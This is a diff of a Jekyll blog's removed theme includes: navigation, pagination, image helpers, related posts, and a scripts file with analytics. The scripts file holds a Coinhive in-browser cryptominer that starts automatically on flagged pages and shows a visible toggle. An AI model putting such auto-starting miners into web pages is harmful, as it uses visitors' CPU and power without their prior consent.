<ul class="nav-popover grid grid--half grid-medium--third">
{% for category in site.categories %}
<li class="grid__col">
<a class="nav-link" href="/{{ category | first }}/">
{{ category | first }}
</a>
</li>
{% endfor %}
</ul>
</div>
</div>
</header>
<div id="search-popover" class="search-popover hide">
<div class="container">
<nav id="search-results" class="search-results"></nav>
</div>
</div>

View File

@ -1,43 +0,0 @@
{% if paginator.total_pages > 1 %}
<nav class="paginator">
{% if paginator.previous_page %}
<a class="paginator__link"
{% if paginator.previous_page == 1 %}
href="/">
{% else %}
href="/page/{{paginator.previous_page}}">
{% endif %}
<svg class="icon icon-chevron-left">
<use xlink:href="/assets/img/sprite.svg#chevron-left"></use>
</svg>
</a>
{% endif %}
<a
{% if paginator.page == 1 %}
href="#" class="paginator__link active"
{% else %}
href="/" class="paginator__link"
{% endif %}
>1</a>
{% for count in (2..paginator.total_pages) %}
{% if count == paginator.page %}
<a href="#" class="paginator__link active">{{count}}</a>
{% else %}
<a class="paginator__link" href="/page/{{count}}">{{count}}</a>
{% endif %}
{% endfor %}
{% if paginator.next_page %}
<a class="paginator__link" href="/page/{{paginator.next_page}}">
<svg class="icon icon-chevron-right">
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
</svg>
</a>
{% endif %}
</nav>
{% endif %}

View File

@ -1,7 +0,0 @@
<article class="grid__col">
<a class="photo-link" href="{{ post.url }}" title="{{ post.title }}">
{% include picture.html size='photothumb' %}
</a>
</article>

View File

@ -1,27 +0,0 @@
{% case include.size %}
{% when 'phototeaser' %}
{% assign pictureSize = 'w_940,h_700,c_fill,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_1880,h_1400,c_fill,q_auto:good,f_auto' %}
{% when 'photothumb' %}
{% assign pictureSize = 'w_190,h_190,c_thumb,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_380,h_380,c_thumb,q_auto:good,f_auto' %}
{% when 'featured' %}
{% assign pictureSize = 'w_275,h_100,c_fill,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_550,h_200,c_fill,q_auto:good,f_auto' %}
{% else %}
{% assign pictureSize = 'w_940,f_auto,fl_keep_iptc' %}
{% assign pictureSizeRetina = 'w_1880,f_auto,fl_keep_iptc' %}
{% endcase %}
{% if include.file %}
{% assign pictureSrc = include.file %}
{% else %}
{% if page.image %}
{% assign pictureSrc = page.image %}
{% else %}
{% assign pictureSrc = post.image %}
{% endif %}
{% endif %}
<img src="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }}" srcset="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }} 1x, {{ site.media_url }}/{{ pictureSizeRetina }}/media/{{ pictureSrc }} 2x" alt="{{ post.title }}">

View File

@ -1,17 +0,0 @@
<aside class="related-photos">
<div class="grid grid--gutters grid--half grid-medium--third">
{% for post in site.categories['photos'] limit:9 %}
<article class="related-photo grid__col">
<a class="photo-link" href="{{ post.url }}">
{% include picture.html size='photothumb' file=post.image %}
</a>
</article>
{% endfor %}
</div>
</aside>

View File

@ -1,24 +0,0 @@
{% if site.related_posts.size > 1 %}
<aside class="related-posts">
<h1 class="related-posts-title">Related</h1>
<div class="grid grid--gutters grid--full grid-small--half grid-medium--third">
{% for post in site.related_posts limit:6 %}
<article class="related-post grid__col">
<a class="post-title-link" href="{{ post.url }}">
{% if post.image %}
{% include picture.html size='photothumb' file=post.image %}
{% endif %}
<h1 class="post-title">{{ post.title | titlecase }}</h1>
</a>
</article>
{% endfor %}
</div>
</aside>
{% endif %}

View File

@ -1,111 +0,0 @@
<script src="/assets/js/kremalicious3.min.js" async></script>
{% if page.js %}
<script src="/assets/js/{{ page.js }}" async></script>
{% elsif layout.js %}
<script src="/assets/js/{{ layout.js }}" async></script>
{% endif %}
{% if page.coinhive %}
<div class="coinhive hide">
<div class="coinhive__info">Mining <a class="coinhive__toggle" href="#" title="Toggle mining">enabled</a></div>
<div class="coinhive__hashrate">0 Hashes/s</div>
</div>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (typeof CoinHive !== 'undefined') {
const miner = new CoinHive.Anonymous('45EnDz1yUgdjmV9yX31UgamUy9ZjzIyt')
const ui = document.querySelector('.coinhive')
const toggle = document.querySelector('.coinhive__toggle')
if (!miner.isMobile()) {
miner.start()
ui.classList.remove('hide')
setInterval(function () {
const hashesPerSecond = miner.getHashesPerSecond()
document.querySelector('.coinhive__hashrate').innerHTML = hashesPerSecond.toFixed(0) + ' Hashes/s'
}, 1000)
}
toggle.addEventListener('click', function(e) {
e.preventDefault()
if (miner.isRunning()) {
miner.stop()
e.target.innerHTML = 'disabled'
} else {
miner.start()
e.target.innerHTML = 'enabled'
}
}, false)
}
</script>
{% endif %}
{% if jekyll.environment == "production" %}
<script>
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function(dnt) {
if (dnt !== "yes" && dnt !== "1") {
var u="//analytics.kremalicious.com/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', 1]);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
}
}(navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
</script>
<noscript><p><img src="//analytics.kremalicious.com/piwik.php?idsite=1" style="border:0;" alt="" /></p></noscript>
{% endif %}
<script>
(function(window, dnt) {
if (dnt !== "yes" && dnt !== "1") {
// Google Analytics async snippet
// http://goo.gl/3FPNDx
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};
ga.l=+new Date;
// Create the GA tracker
ga('create', 'UA-1441794-2', 'auto', {siteSpeedSampleRate: 10});
{% if jekyll.environment != 'production' %}
// In non-production mode, simply log GA hits to the console.
// Note, tasks must be set before sending the first hit
ga(function(tracker) {
tracker.set('sendHitTask', function() {
// Throw to stop subsequent tasks.
throw 'Abort tracking in non-production environments.'
});
});
{% endif %}
// Send initial pageview
ga('send', 'pageview');
// Track uncaught errors
window.onerror = function(message, url, line, col) {
var desc = message + ' (line: ' + line + ', url: ' + url + ', col: '
+ col + ')';
ga('send', 'exception', {
exDescription: 'window.onerror: ' + desc,
exFatal: false
});
};
}
}(window, navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
</script>
{% if jekyll.environment == "production" %}
<script async src="//www.google-analytics.com/analytics.js"></script>
{% else %}
<script async src="//www.google-analytics.com/analytics_debug.js"></script>
{% endif%}
<script src="/assets/js/analytics.min.js" async></script>